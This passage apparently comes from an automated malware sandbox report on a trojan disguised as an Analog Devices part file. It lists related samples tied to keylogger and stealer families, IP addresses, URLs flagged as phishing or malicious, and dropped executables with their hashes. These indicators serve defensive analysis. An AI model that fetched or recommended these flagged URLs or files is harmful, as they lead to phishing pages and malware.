	http://www.dropbox.com/scl/fi/bzmfrob3hhyr2ydiyb0fk/D-lynx-8222_10092026.pdf?r=ACRVt2dDtz7EtjiCC3NkQehzZiHqKkLkG4MmZV0DQJzsDMcKATFw-mqsiFY9LQ8HUJGw6Qgo0fny5PZkEkQhGeDF3VJ1tAOsNYeKZ5Z2kKreg_ziUHJY5lqR7w29bPbQaSPAE_6vgAuPBNqaPF8dIMlUzyRZc-mFg4QOAGdDpPqHKCgkekUq1oIVbxeWhHJeUZ0&sm=1&dl=0	Get hash	malicious	Unknown	Browse	20.109.210.53 4.245.163.56 13.107.253.45 13.85.23.206
	http://docs.google.com/drawings/u/0/d/1upFXiljnDLvdOIt1Aoe3r44ZCVNRtnjt0CV6fZcs1no/preview	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 4.245.163.56 13.107.253.45 13.85.23.206
	tmp34F7.HtMl.html	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 4.245.163.56 13.107.253.45 13.85.23.206
	http://blacksaltys.com	Get hash	malicious	Unknown	Browse	20.109.210.53 4.245.163.56 13.107.253.45 13.85.23.206
54328bd36c14bd82ddaa0c04b25ed9ad	#U8a62#U50f9 (RFQ) -RFQ20241010.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	PAGO FRAS. AGOSTO 2024..exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	SecuriteInfo.com.Win32.DropperX-gen.28977.28876.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	PO.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	z27PAYMENT.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	4a2jSwxrJU.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	h9nuWiQZi6.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	bpdv3trzkv.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	MiLa0yslQQ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	7DI4iYwcvw.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
3b5074b1b5d032e5620f69f9f700ff0e	10092024150836 09.10.2024.vbe	Get hash	malicious	FormBook	Browse	149.154.167.220
	Request for Quotation-537262227-04.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	#U8a62#U50f9 (RFQ) -RFQ20241010.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Logistics1.vbs	Get hash	malicious	FormBook	Browse	149.154.167.220
	5y3FUtMSB5.exe	Get hash	malicious	Quasar	Browse	149.154.167.220
	Rechnung0192839182.pdf	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://subsale24h.com/	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://unscsupply.goshopgaming.com/?bypass-cdn=1	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://krebsonsecurity.com/2024/10/patch-tuesday-october-2024-edition	Get hash	malicious	Unknown	Browse	149.154.167.220
	p61Wb0tocl.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	Obstetricated.exe	Get hash	malicious	FormBook, GuLoader	Browse	51.81.194.202
	hlyG1m5UmO.exe	Get hash	malicious	Stealc, Vidar	Browse	51.81.194.202
	#U8a62#U50f9 (RFQ) -RFQ20241010.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	51.81.194.202
	Orden de compra.exe	Get hash	malicious	FormBook, GuLoader	Browse	51.81.194.202
	Orden de compra.exe	Get hash	malicious	GuLoader	Browse	51.81.194.202
	Orden de compra.exe	Get hash	malicious	FormBook, GuLoader	Browse	51.81.194.202
	Bill Details.exe	Get hash	malicious	UltraVNC	Browse	51.81.194.202
	Bill Details.exe	Get hash	malicious	UltraVNC	Browse	51.81.194.202
	PAGO FRAS. AGOSTO 2024..exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	51.81.194.202
	FACTURA-0055.exe	Get hash	malicious	FormBook, GuLoader	Browse	51.81.194.202

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073648057007232
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrz:KooCEYhgYEL0In
MD5:	65F7D0CDB67158584DFA78BFE1B8B8D3
SHA1:	E114CB556FEADA863F680A43C75B8FE8FE7C5342
SHA-256:	F7561423BD06EB9CD6A1A6AB641846FD56D11084B529C5BFB95B1741D99720AD
SHA-512:	43E5C958E93EE1DEF55C2CEFEC715DF9412AD36691C0AFACE27C0F1BC4F9C3D4EB3BBE0E9C163DCD65ADCA7C972537DFA634A1745B4F82D79DF8A9A53ED7D1F1
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x3f0d0717, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221614836436854
Encrypted:	false
SSDEEP:	1536:hSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:haza/vMUM2Uvz7DO
MD5:	9F4D125DFEAA0A805D19E31ECB9C9D89
SHA1:	90E3457099CBB0CA2D99747DD9FA3FE5B9D71FE0
SHA-256:	1598B37ACBB00D131E9379AB9400031C01291D5EB8E198D6DAF0CE2768E58E70
SHA-512:	E6106F103C09EAFF659148A257A7EA59C5155D17098FF1AF3113A6EBB956BB9B7ED7244428532C6ED4C73AD667688D746C7F5233D5FBE7F9FE96D79A60601D58
Malicious:	false
Preview:	?...... .......A.......X\...;...{......................0.!..........{A. ....\|..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...................................v.. ....\|...................... ....\|...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07622699898808083
Encrypted:	false
SSDEEP:	3:a//lKYeyDemYGjjn13a/XFFg9tlallcVO/lnlZMxZNQl:q/lKzLmYGj53qXIfAOewk
MD5:	C2FD64B2AAAEA1435C5C05D9FFF46283
SHA1:	65393E3DA472668639788253FFD7C0E822E8BC0C
SHA-256:	DD7EACDBB6DC01376C32E0939513718C51D943DB503B552319368081EE99F858
SHA-512:	97C7B5648A9CC991D9462D99FE937FE7A8440B775832EC7B4F75175325B559B6F53E88841BF15840B0F3C0C482318FD38342BDBEE32B691B380766E95DEAA866
Malicious:	false
Preview:	.._......................................;...{.. ....\|.......{A..............{A......{A..........{A].................... ....\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\adsp-21593bbpz10 analog devices, inc. 5000.exe .log

Download File

Process:	C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:ML9E4KiE4Kx1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MxHKiHKx1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	8B21C0FDF91680677FEFC8890882FD1F
SHA1:	E15AC7685BFC89F63015C29DE7F6BCE7A1A9F0E7
SHA-256:	E2F188397C73C8150EE6F09E833E4D1ABA01293CCFDFED61981F5F66660731F9
SHA-512:	1EFDF56115A8688CA2380F3047A28CA3E03C74369C3A377050066A56B8171AD756F7DD7AA29F5648A84D16812D1B422749259ED47447713E9B3A0834CE361BE7
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cmsys[1].htm

Download File

Process:	C:\Windows\System\explorer.exe
File Type:	HTML document, ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	795
Entropy (8bit):	5.215720572741232
Encrypted:	false
SSDEEP:	24:hYYIzDI8JRA3ZsjNQCRtgoLY95MI5634Vsk:rqPj2CZLY5Mm63E
MD5:	5D8D79C3CB9AF023240B1BE6F5057AAA
SHA1:	DF22980677B134E83D878893F7C7984E0D78A240
SHA-256:	E8B101A7C7F64AAD528CC734513CBEB02243C0AF37930DC0F3239749CFF184B6
SHA-512:	66F432B622CEE0BCC06CBC0F833DE1471EA36C295B4CD93EB848D97E69C2252ACD2FC8972DB51EA35475A424F4D6CB5001325525FB04F71B8704EB24DE1C4008
Malicious:	false
Preview:	<!DOCTYPE html>.<html style="height:100%">.<head>.<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />.<title> 301 Moved Permanently..</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head>.<body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;">.<div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">. <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1>.<h2 style="margin-top:20px;font-size: 30px;">Moved Permanently..</h2>.<p>The document has been permanently moved.</p>.</div></div></body></html>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\cmsys[1].htm

Download File

Process:	C:\Windows\System\explorer.exe
File Type:	HTML document, ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	795
Entropy (8bit):	5.215720572741232
Encrypted:	false
SSDEEP:	24:hYYIzDI8JRA3ZsjNQCRtgoLY95MI5634Vsk:rqPj2CZLY5Mm63E
MD5:	5D8D79C3CB9AF023240B1BE6F5057AAA
SHA1:	DF22980677B134E83D878893F7C7984E0D78A240
SHA-256:	E8B101A7C7F64AAD528CC734513CBEB02243C0AF37930DC0F3239749CFF184B6
SHA-512:	66F432B622CEE0BCC06CBC0F833DE1471EA36C295B4CD93EB848D97E69C2252ACD2FC8972DB51EA35475A424F4D6CB5001325525FB04F71B8704EB24DE1C4008
Malicious:	false
Preview:	<!DOCTYPE html>.<html style="height:100%">.<head>.<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />.<title> 301 Moved Permanently..</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head>.<body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;">.<div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">. <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1>.<h2 style="margin-top:20px;font-size: 30px;">Moved Permanently..</h2>.<p>The document has been permanently moved.</p>.</div></div></body></html>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\what-happened-to-the-old-zxq-website[1].htm

Download File

Process:	C:\Windows\System\explorer.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (8047)
Category:	dropped
Size (bytes):	57697
Entropy (8bit):	5.381019709890538
Encrypted:	false
SSDEEP:	1536:PyMapcrHsCNwn1d0kelTaO7cQBIxGjmZ2clnlZ+/1:Pq8wnSDq2clnlZC1
MD5:	58E5B4ABB727179458945E6024CBDC3E
SHA1:	6591627DC7CACF0A2AC47B00CE4B85082B8B3B46
SHA-256:	B3E2C23BB338F8BBAB7C5B10136EBEDAC17562C761F9FCC6FD06DAE8D235BBB2
SHA-512:	540918653D4BDFD38A849ECB75FA3D3E94E78F04E851683FA4CF0430C5B5A2D1F2F7B246F64090A7933C5C7805694317F86FC5825320E18C9982D55E84D3073F
Malicious:	false
Preview:	<!DOCTYPE html>.<html lang="en-US" class="s-dark site-s-dark">..<head>...<meta charset="UTF-8" />..<meta name="viewport" content="width=device-width, initial-scale=1" />..<meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' />... This site is optimized with the Yoast SEO Premium plugin v18.0 (Yoast SEO v18.4.1) - https://yoast.com/wordpress/plugins/seo/ -->..<title>What happened to the old ZXQ website? \| ZXQ</title><link rel="preload" as="font" href="https://zxq.net/wp-content/themes/smart-mag/css/icons/fonts/ts-icons.woff2?v2.2" type="font/woff2" crossorigin="anonymous" />..<link rel="canonical" href="https://zxq.net/what-happened-to-the-old-zxq-website/" />..<meta property="og:locale" content="en_US" />..<meta property="og:type" content="article" />..<meta property="og:title" content="What happened to the old ZXQ website?" />..<meta property="og:description" content="Information For ZXQ.net Subdomain Owners The old ZXQ website

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1172
Entropy (8bit):	5.355750237007024
Encrypted:	false
SSDEEP:	24:3SWSKco4KmZjKbmOIKod6emN1s4RPQoU99t7J0gt/NKIl9iagu:CWSU4xympjms4RIoU99tK8NDv
MD5:	E530E9CDE49147EA390E1352F5160D4C
SHA1:	BD5972CCFA6310B95E777B10015150FC1325A5F5
SHA-256:	4058F0E8E13675ADBC7FCEB8860E532BBCE2F8400E2F24570A80CAEDE3E9332D
SHA-512:	DE023EFD10A7644187F8D9EEA7EEF578EEAFF7A27322A034047D2BBA13B06143C7A6A43E0F23B15D4402AE95D041756B0776003E48608140DBB506FAE824C989
Malicious:	false
Preview:	@...e.................................&..............@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_myrqqk3p.ihb.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sww4vmne.q04.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vyu2w104.20m.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ylxj0vzq.4ul.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\~DF0ED62A5703D6E8FB.TMP

Download File

Process:	C:\Windows\System\spoolsv.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	1.2620271032832713
Encrypted:	false
SSDEEP:	6:rl91bxbt+r+CFQX/i79Xa9Xh9XR5+flEij1b5X:rl3b/+PFQ/YG7ONEipl
MD5:	7416D20FEC31C9A0916720D78B9F4B6A
SHA1:	29EAEA4038877B30872AE946943B0934D0C107A2
SHA-256:	2E22582B0274058BA7036DDFED55BE28DFF42CEE50B86A1693755D7F4827D69D
SHA-512:	BE4A7E69E2C54984D1AC8C064B8112BF858006022D8F114D67E17F05F6C37CC6BF6DD909E71F6341022F470426C9141EE7F6769570637338AE4275C4E5CAD7E3
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF64BBBF01BE24C3EA.TMP

Download File

Process:	C:\Windows\System\spoolsv.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	1.2625510747918771
Encrypted:	false
SSDEEP:	6:rl91bxbt+r+CFQXke79Xa9Xh9XR5+flEij1b5X:rl3b/+PFQkUG7ONEipl
MD5:	6C1F9F10EF165F5AE5F2F53A5888A26B
SHA1:	10AB78CDF39284D0DCB9D455FAAD70ACA17261F5
SHA-256:	FCFD6BCA5AA2AFECAC359E32FDF9EB72F3DFCDC316F88F157E536C5EBCB3AFBA
SHA-512:	A4C901EEAC1562B903472BA8D29BAE15296F549675173BA75D7E2352A8AF4427F5ABD89775013FAEF26268045B436417634F4D781AF745F69C2C6F883E9C6278
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFAA9CF918C46031A3.TMP

Download File

Process:	C:\Windows\System\explorer.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.41758136834515647
Encrypted:	false
SSDEEP:	6:rl912N0xs+CFQXCB9Xh9Xh9XqlEij1b5X:rl3lKFQCb77eEipl
MD5:	B189745447FFC0F0692BBEC0E4926FF0
SHA1:	4F86C94BF1FEA524EC895BB300854140E8E45D9E
SHA-256:	41DB75ED191E8D2FD951528E88F2060E1CB6531FEEC60E72BB9929E2B25E5A2E
SHA-512:	2394E5BBB1FDD5F78F27E5118025B876B109EFADE413B8D1BCD9A561F84384B7928F670201FDB15952975653B9868B7CA0920B8F61CA3B84371B652E04C06567
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFB20A1E73CCD4104E.TMP

Download File

Process:	C:\Windows\System\svchost.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.41758136834515647
Encrypted:	false
SSDEEP:	6:rl912N0xs+CFQXCB9Xh9Xh9XqlEij1b5X:rl3lKFQCb77eEipl
MD5:	B189745447FFC0F0692BBEC0E4926FF0
SHA1:	4F86C94BF1FEA524EC895BB300854140E8E45D9E
SHA-256:	41DB75ED191E8D2FD951528E88F2060E1CB6531FEEC60E72BB9929E2B25E5A2E
SHA-512:	2394E5BBB1FDD5F78F27E5118025B876B109EFADE413B8D1BCD9A561F84384B7928F670201FDB15952975653B9868B7CA0920B8F61CA3B84371B652E04C06567
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFD22C3A7A8079A9E3.TMP

Download File

Process:	C:\Windows\System\explorer.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	1.2632021164585439
Encrypted:	false
SSDEEP:	6:rl91bxbt+r+CFQXjI79Xa9Xh9XR5+flEij1b5X:rl3b/+PFQmG7ONEipl
MD5:	673CFC8290B6CB6F80EE7F695983E6D4
SHA1:	E41E258585D6B49E1AEABBE7F3BA2B9B7E6386F6
SHA-256:	FCB345B7A322631D3DDC321421E814D1612325F0CDA553260F48CD35CAADBDAB
SHA-512:	38FDB3E5DE460D2193AE0379A3E4B3D10F2AE5BD9A0B23EF593F28A72937E694323E263220C805F6E247D7E69369C2409E1C73CB7B04D40AF75B354DB5A97FD7
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFDA6FAD41E43579C3.TMP

Download File

Process:	C:\Users\user\AppData\Local\icsys.icn.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	1.2625510747918771
Encrypted:	false
SSDEEP:	6:rl91bxbt+r+CFQX9bG79Xa9Xh9XR5+flEij1b5X:rl3b/+PFQOG7ONEipl
MD5:	B47E8EBEF92AF53639AB0772725FCD35
SHA1:	AF5C6FD4DF182154124DDA14204AB834DCF92AFD
SHA-256:	822333CCD829BEFD89A06D547220BBBF4B5A19D696E078518657378C2A0FE0FA
SHA-512:	C964006E622183EFCE9A8ACF7BF3370A32303F89FA07A40CA6973C39A6862A300C3DD6E0A15D72DE4ADB997040881EB901272863D32EC4B52BCED31387919333
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFFB2FA207E099A40B.TMP

Download File

Process:	C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	1.2621613441366126
Encrypted:	false
SSDEEP:	6:rl91bxbt+r+CFQXr6X79Xa9Xh9XR5+flEij1b5X:rl3b/+PFQkG7ONEipl
MD5:	4FFA7FD5354ECA913C1371C9EAECE819
SHA1:	CF0A1116FE584D715FFE35ACAE952E741E5F26B5
SHA-256:	D649A07D8578373385867D8C644E06B38A10FDD674AB355995358C35EDD81D41
SHA-512:	30FFF63A94DA121B6EC3339A650254F6A82CA07A7643422B636D7F6A69503F1A53BB0022919ED21A31B4114B16E60D58F679A47A6C1B5F9CC3FC853E44F77115
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\icsys.icn.exe

Download File

Process:	C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	281080
Entropy (8bit):	5.241848464663616
Encrypted:	false
SSDEEP:	3072:UvEfVUzSLhIVbV6i5LirrlZrHyrUHUckoMQ2RN6unu:UvEN2U+T6i5LirrllHy4HUcMQY6f
MD5:	223F49E8FB8A6A73152CCD8371C1402E
SHA1:	D63E5CE85F0C643B949DA165E7C5EE3F27195FAC
SHA-256:	724E0EF942E4A57753DE877C6BF8C9CCB00F0C950033C8A8CB1FDD33670497EE
SHA-512:	CB2E2C8625E6BD937A5906FBCD84E43A3C89E758004297C39A8CB3FB666ED7B1F05F03B8D7A77D5287202171583C4AE33A3DA40BCB63CD14F5DB3B32543D1F84
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1m..P...P...P..zL...P...O...P...O...P..Rich.P..........PE..L......M.....................0......p6............@.............................................................................(...........................................................................P... ....................................text...(........................... ....data...t...........................@....rsrc...............................@..@.tdata.............................. ...$..G............MSVBVM60.DLL............................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\stsys.exe

Download File

Process:	C:\Windows\System\svchost.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	280911
Entropy (8bit):	5.236128590832953
Encrypted:	false
SSDEEP:	3072:UvEfVUzSLhIVbV6i5LirrlZrHyrUHUckoMQ2RN6ung:UvEN2U+T6i5LirrllHy4HUcMQY6T
MD5:	6649DE5880683CB7567134946BD313D8
SHA1:	0AFA24EE5DE8B9BDB6D9A584AB7A0C2D1339D7EA
SHA-256:	D1B98841F74FA289C95D990E61C1C80125863211536AE69FA057EA5C6B266524
SHA-512:	6B417C05979AD304BD6F1FA188D20D6643BD381FB8408A1C5FBE22C68830B20A30615DF4D08027A8A69EE62D85A5BF4541F6F42F7BB1F2A859B36E50BEFAD3FD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1m..P...P...P..zL...P...O...P...O...P..Rich.P..........PE..L......M.....................0......p6............@.............................................................................(...........................................................................P... ....................................text...(........................... ....data...t...........................@....rsrc...............................@..@.tdata.............................. ...$..G............MSVBVM60.DLL............................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\mrsys.exe

Download File

Process:	C:\Windows\System\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	281010
Entropy (8bit):	5.227574583836729
Encrypted:	false
SSDEEP:	3072:UvEfVUzSLhIVbV6i5LirrlZrHyrUHUckoMQ2RN6unX:UvEN2U+T6i5LirrllHy4HUcMQY6e
MD5:	F0B01858190984FCF5B2706F5600BE93
SHA1:	5BFA31AD62A8738EC5A81EC2234434AD16B049A2
SHA-256:	923541F3A400EBB36F1A20BA1A84F5336B9883BBD0BF89FC04517157DCB1D063
SHA-512:	CAF684034E59CCE982CC00748C3E8AA156151AAF852B8CAE21003B771B95B9E3108E1334126479364EDFC99B4892025BD9064F342B1613E4C254175771ABB79D
Malicious:	true
